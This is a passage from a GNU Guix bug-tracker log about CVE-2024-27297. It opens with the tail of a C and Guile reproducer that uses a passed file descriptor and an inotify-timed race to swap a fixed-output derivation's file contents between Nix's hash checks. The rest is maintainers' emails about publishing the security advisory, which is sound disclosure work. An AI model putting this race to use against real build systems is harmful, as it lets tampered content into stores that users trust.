// Notify the smuggler that we've set everything up for
// the magic trick we're about to do.
close(a);
// So, before we continue with this code, a trip into Nix
// reveals a small flaw in fixed-output derivations. When
// storing their output, Nix has to hash them twice. Once
// to verify they match the \"flat\" hash of the derivation
// and once more after packing the file into the NAR that
// gets sent to a binary cache for others to consume. And
// there's a very slight window inbetween, where we could
// just swap the contents of our file. But the first hash
// is still noted down, and Nix will refuse to import our
// NAR file. To trick it, we need to write a reference to
// a store path that the source code for the smuggler drv
// references, to ensure it gets picked up. Continuing...
// Wait for the next inotify event to drop:
read(inot, buf, 128);
// first read + CA check has just been done, Nix is about
// to chown the file to root. afterwards, refscanning
// happens...
// Empty the file, seek to start.
ftruncate(res, 0);
lseek(res, 0, SEEK_SET);
// We swap out the contents!
static const char content[] = \"This file has been corrupted!\\n\";
write(res, content, strlen (content));
close(res);
printf(\"swaptrick finished, now to wait..\\n\");
return 0;
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
close(a);
}
}"))
(define nonce
(string-append "-" (number->string (car (gettimeofday)) 16)
"-" (number->string (getpid))))
(define original-text
"This is the original text, before corruption.")
(define derivation-that-exfiltrates-fd
(computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
(with-imported-modules '((guix build utils))
#~(begin
(use-modules (guix build utils))
(invoke #+(compiled-c-code "sender" sender-source))
(call-with-output-file #$output
(lambda (port)
(display #$original-text port)))))
#:options `(#:hash-algo sha256
#:hash ,(sha256
(string->utf8 original-text)))))
(define derivation-that-grabs-fd
(computed-file (string-append "derivation-that-grabs-fd" nonce)
#~(begin
(open-output-file #$output) ;make sure there's an output
(execl #+(compiled-c-code "receiver" receiver-source)
"receiver"))
#:options `(#:hash-algo sha256
#:hash ,(sha256 #vu8()))))
(define check
(computed-file "checking-for-vulnerability"
#~(begin
(use-modules (ice-9 textual-ports))
(mkdir #$output) ;make sure there's an output
(format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
#+derivation-that-grabs-fd
#+derivation-that-exfiltrates-fd)
(let ((content (call-with-input-file
#+derivation-that-exfiltrates-fd
get-string-all)))
(format #t "Here is what we see in ~a: ~s~%~%"
#+derivation-that-exfiltrates-fd content)
(if (string=? content #$original-text)
(format #t "Failed to corrupt ~a, \
your system is safe.~%"
#+derivation-that-exfiltrates-fd)
(begin
(format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
#+derivation-that-exfiltrates-fd)
(exit 1)))))))
check
[signature.asc (application/pgp-signature, inline)]
Information forwarded
to guix-patches@gnu.org:
bug#69728; Package guix-patches.
(Tue, 12 Mar 2024 14:37:01 GMT) (full text, mbox, link).
Message #22 received at 69728@debbugs.gnu.org (full text, mbox, reply):
[Message part 1 (text/plain, inline)]
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 -----BEGIN PGP SIGNATURE----- iQJRBAEBCgA7FiEEpCB7VsJVEJ8ssxV+SZCXrl6oFdkFAmXwaBwdHGpvaG4ua2Vo YXlpYXNAcHJvdG9ubWFpbC5jb20ACgkQSZCXrl6oFdk6Fg//aEuH516qXJrKpmAc VqB1L/38z/UlbWlhT1n8HBqW5JsEd137FMw0WBeIVYVoWFuQJVaJPjtwWQNbXOfO VKFITVw41hCMBhCNQmpBu1cuzVGmxX9MP2laWeDSpDT1uswuX4HxZaPrgU7LxFHz G8wl2onDGheyN+/kaw/h6isv7yAI0jH+Tk8epkcyRUHCM9N1mdv3aVPcd1ZOzktW ugkzNrA+2KdZXLZm2frr0Elh9xXBNi7owi0g5BSFtsEhqgbqTcb+IwuoT+2PXPH7 bZFE3Bpp6xI38+gY1XBMEZ/+ZY/5fScScGH4hejBJiEDAFVtaNvlJDeL6hbTCAX2 MvL/wkwMv2ODmsbJ7XfI/XG90E3IKrQ83/H7GBO2sIA2rM5wCnGjXuT+NMiJuoce FnLjEamwu8lesHPSp81rpz8vEtzBywND/hhCeu0B+p6s9lbPyQKO8AMLtKCuZM94 a04XCCQDwKzcxKSiN6jF4b76kcS7kdrRS8qHPqVGzmwqkRJJVdCMlvoO3PtuAI+J EDMQyU8FAFRqOE69Aomr056LLLwQqfWfXln6evFeznFvLEAo3SF2Yl4QW4MngLye b5rPxGy9HggI3KfexsWLJNzMTdxyZql4uO3Ye6/SKYfmCNezy+4wSUtd+8EM4LqK ZRF4fbqgZ5KjllnMH7oZjXm7b0A= =jN50 -----END PGP SIGNATURE----- Hi all, On Tue, Mar 12, 2024 at 02:45 PM, Ludovic Courtès wrote: > As promised, attached is a reproducer that I adapted from the Nix one at > <https://hackmd.io/03UGerewRcy3db44JQoWvw>, which I think was written by > puck <https://github.com/puckipedia>. > > The program demonstrates the vulnerability using two fixed-output > derivations that must be built concurrently on the same machine. > Thanks for the reproducer and instructions. I've included the code an a brief overview of how to run and what to look for in the updated post (along with other changes noted privately). The updated post is attached. I will have some time here and there over the next few hours to make changes, but will mostly be away from my Guix machine to handle actually pushing. So, once it looks good, feel free to do that or I can do it this evening my time (in about 7-8 hours). Thanks again Ludo’ for all your work here! John
[cve-2024-27297-post.md (application/octet-stream, attachment)]
Information forwarded
to guix-patches@gnu.org:
bug#69728; Package guix-patches.
(Tue, 12 Mar 2024 15:32:01 GMT) (full text, mbox, link).
Message #25 received at 69728@debbugs.gnu.org (full text, mbox, reply):
Hi John, John Kehayias <john.kehayias@protonmail.com> skribis: > The updated post is attached. I will have some time here and there > over the next few hours to make changes, but will mostly be away from > my Guix machine to handle actually pushing. So, once it looks good, > feel free to do that or I can do it this evening my time (in about 7-8 > hours). LGTM, thank you! Ludo’.
Reply sent
to Ludovic Courtès <ludo@gnu.org>:
You have taken responsibility.
(Wed, 13 Mar 2024 10:04:02 GMT) (full text, mbox, link).
Notification sent
to Ludovic Courtès <ludo@gnu.org>:
bug acknowledged by developer.
(Wed, 13 Mar 2024 10:04:02 GMT) (full text, mbox, link).
Message #30 received at 69728-done@debbugs.gnu.org (full text, mbox, reply):
For posterity: the blog post was published yesterday at <https://guix.gnu.org/en/blog/2024/fixed-output-derivation-sandbox-bypass-cve-2024-27297/>. Ludo’.
bug archived.
Request was from Debbugs Internal Request <help-debbugs@gnu.org>
to internal_control@debbugs.gnu.org.
(Wed, 10 Apr 2024 11:24:06 GMT) (full text, mbox, link).
Send a report that this bug log contains spam.
Debbugs is free software and licensed under the terms of the GNU Public License version 2. The current version can be obtained from https://bugs.debian.org/debbugs-source/.
Copyright © 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson, 2005-2017 Don Armstrong, and many other contributors.